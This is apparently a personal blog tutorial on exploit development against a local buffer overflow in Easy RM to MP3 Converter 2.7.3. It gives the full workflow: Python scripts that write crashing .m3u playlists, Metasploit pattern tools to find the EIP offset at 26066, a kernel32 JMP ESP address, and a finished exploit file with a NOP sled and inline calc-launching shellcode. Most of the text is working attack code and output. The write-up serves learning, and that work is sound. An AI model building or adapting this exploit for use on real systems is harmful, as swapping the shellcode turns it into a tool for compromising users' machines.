I decided to take a short break from the boot2root VMs and do a tutorial on a known vulnerable application, as well as the exploit development process for it.
This won’t quite be a linear tutorial for buffer overflows though, as there is already a better one on Corelan, and I want to bounce around too much to make one quite like that. That said, I’ll probably end up writing tutorials for most of the applications that they touch on, just over time, sporadically, and out of order.
I decided on the Easy RM to MP3 Converter 2.7.3 local buffer overflow vulnerability, as it is relatively widely known and there are already a few tutorials for this application.
First things first, I downloaded the application, installed it, and verified that I had an affected version.
Then, I wrote a quick python script to create a malicious playlist file.
bof = open('crash.m3u','w') bof.write('A' * 30000) bof.close()
I loaded the playlist into the application, and verified that it indeed crashed upon opening.
With this information, I used pattern_create to generate a string to help me find the exact offset of EIP.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_create.rb 30000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6 ... Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9
I loaded this string into bof.write() in my python script, created the new file, and loaded it inside of OllyDbg.
Loading that EIP address into pattern_offset gave me two possible offsets, but I knew it wasn’t the first since it was so early in the string.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 396B4338 30000 [*] Exact match at offset 5786 [*] Exact match at offset 26066
I thew this offset into back into my python script to verify that I indeed had control over EIP.
bof = open('crash.m3u','w') bof.write('A'*26066) bof.write('BBBB') bof.write('C'*5000) bof.close()
Running the newly created playlist indeed overwrote EIP with 42424242 (BBBB), so I was in business.
Unfortunately, while I was overwriting EIP, the address of ESP contained a null byte (0x0015F614). With that in mind, I decided to look up the locations of JMP ESP calls in kernel32.dll since that should always be loaded.
With an acceptable memory address for JMP ESP, it was time to craft my full exploit.
if __name__ == "__main__": shellcode = "\"" ctr = 1 maxlen = 15 for b in open("win-exec-calc-shellcode.bin", "rb").read(): shellcode += "\\x" + b.encode("hex") if ctr == maxlen: shellcode += "\" +\n\"" ctr = 0 ctr += 1 shellcode += "\"" print shellcode
With my JMP ESP address and shellcode in hand, it was time to craft my full exploit.
bof = open('crash.m3u','w') bof.write('A'*26066) # offset bof.write('\xCC\x8C\x28\x76') # kernel32.dll JMP ESP (0x76288CCC) bof.write('\x90'*16) # NOP sled bof.write("\x31\xc9\x49\x31\xd2\xe3\x47\x52\x68\x63\x61\x6c\x63\x89\xe6" + # win-exec-calc "\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30" + "\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01" + "\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c" + "\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c" + "\xae\xff\xd7\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x83" + "\xec\x28\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48" + "\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28" + "\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17" + "\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74" + "\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7") bof.close()
I loaded the newly created malicious playlist into the converter, and my shellcode executed!
Hopefully this was a quick and easy overview of buffer overflows, and how to exploit them. I hope to do more tutorials like this in the future as well.